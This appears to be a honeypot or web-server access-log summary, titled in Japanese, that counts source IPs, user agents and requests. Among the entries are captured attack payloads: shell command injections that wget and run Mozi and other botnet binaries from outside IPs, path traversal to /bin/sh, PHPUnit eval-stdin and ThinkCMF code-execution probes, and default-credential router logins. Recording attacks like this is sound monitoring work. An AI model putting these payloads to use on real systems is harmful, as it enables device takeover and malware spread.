1 CONNECT cn[.]bing[.]com:443 HTTP/1.1
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com:443 HTTP/1.1
1 CONNECT www[.]so[.]com:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com:443 HTTP/1.1
2 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
3 GET /dispatch.asp HTTP/1.1
1 GET /doc/script/lib/seajs/config/sea-config.js HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//120[.]229[.]96[.]255:40129/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]227/echo.php HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
2 GET http[:]//ip[.]ws[.]126[.]net/ipquery HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD / HTTP/1.1
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Api/Session HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
2 POST /HNAP1/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
1 20.55.53.144 United States
18 20.119.220.193 United States
1 27.211.185.201 China
1 34.140.126.25 United States
2 40.114.33.240 United States
7 45.146.165.37 Russia
1 51.12.240.105 United Kingdom
5 51.79.29.48 Canada
1 58.19.63.105 China
1 58.19.63.113 China
1 61.219.11.151 Taiwan
1 66.240.205.34 United States
2 94.232.43.63 Russia
2 104.210.221.245 United States
1 104.244.78.87 United States
1 107.189.8.191 United States
1 111.224.249.245 China
1 112.193.171.50 China
1 115.98.102.81 India
1 123.5.173.51 China
1 123.158.48.237 China
1 125.84.236.64 China
10 143.198.136.88 United States
1 157.245.123.214 United States
1 162.142.125.211 United States
1 167.94.138.60 United States
1 171.116.43.9 China
1 175.184.165.86 China
1 183.144.24.204 China
1 189.127.158.246 Brazil
1 192.53.170.163 United States
1 192.241.204.44 United States
1 192.241.214.4 United States
1 192.241.214.32 United States
2 194.127.179.9 United Kingdom
1 195.77.249.72 Spain
5 198.16.62.18 United States
1 201.150.173.245 Bolivia
1 221.13.12.99 China
1 221.213.75.50 China
3 222.186.19.207 China
2 222.186.46.200 China

UserAgent一覧

件数 UserAgent
20 -
3 Go-http-client/1.1
1 Java/1.8.0_321
1 Lkx-TraversalHttpPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
1 Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
25 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0
1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30
10 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153 AliApp(DingTalk/4.2.6) com.laiwang.DingTalk/3058829 Channel/201200 language/zh-Hans
3 Mozilla/5.0 zgrab/0.x
4 PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
6 l9explore/1.3.0

リクエスト内容一覧

件数 Method Request Protocol
1 Gh0st\xad
2 \x03
1 \x16\x03\x01\x01\xfb\x01
1 \x16\x03\x01\x02
1 \x16\x03\x01
1 dN\x93\xb9\xe6\xbcl\xb6\x92\x84:\xd7\x03\xf1N\xb9\xc5;\x90\xc2\xc6\xba\xe1I-\"\xdds\xba\x1fgC:\xb1\xa7\x80+
1 CONNECT cn[.]bing[.]com:443 HTTP/1.1
4 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 CONNECT leakix[.]net:443 HTTP/1.1
1 CONNECT ver[.]movistarplus[.]es:443 HTTP/1.1
1 CONNECT www[.]baidu[.]com:443 HTTP/1.1
1 CONNECT www[.]so[.]com:443 HTTP/1.1
1 CONNECT www[.]voanews[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
10 GET /.env HTTP/1.1
1 GET /2018/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /2019/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
1 GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /media/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//201[.]150[.]173[.]245:49308/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ 136.144.41.60/.s4y/arm7;sh+/tmp/arm7
2 GET /shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm
1 GET /shop/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 GET http[:]//dongtaiwang[.]com/ HTTP/1.1
6 GET http[:]//ip[.]ws[.]126[.]net/ipquery HTTP/1.1
1 GET http[:]//www[.]epochtimes[.]com/ HTTP/1.1
1 GET http[:]//www[.]minghui[.]org/ HTTP/1.1
1 GET http[:]//www[.]rfa[.]org/english/ HTTP/1.1
1 GET http[:]//www[.]soso[.]com/ HTTP/1.1
1 GET http[:]//www[.]wujieliulan[.]com/ HTTP/1.1
1 HEAD http[:]//110[.]242[.]68[.]4/ HTTP/1.1
1 POST /Api/Session HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0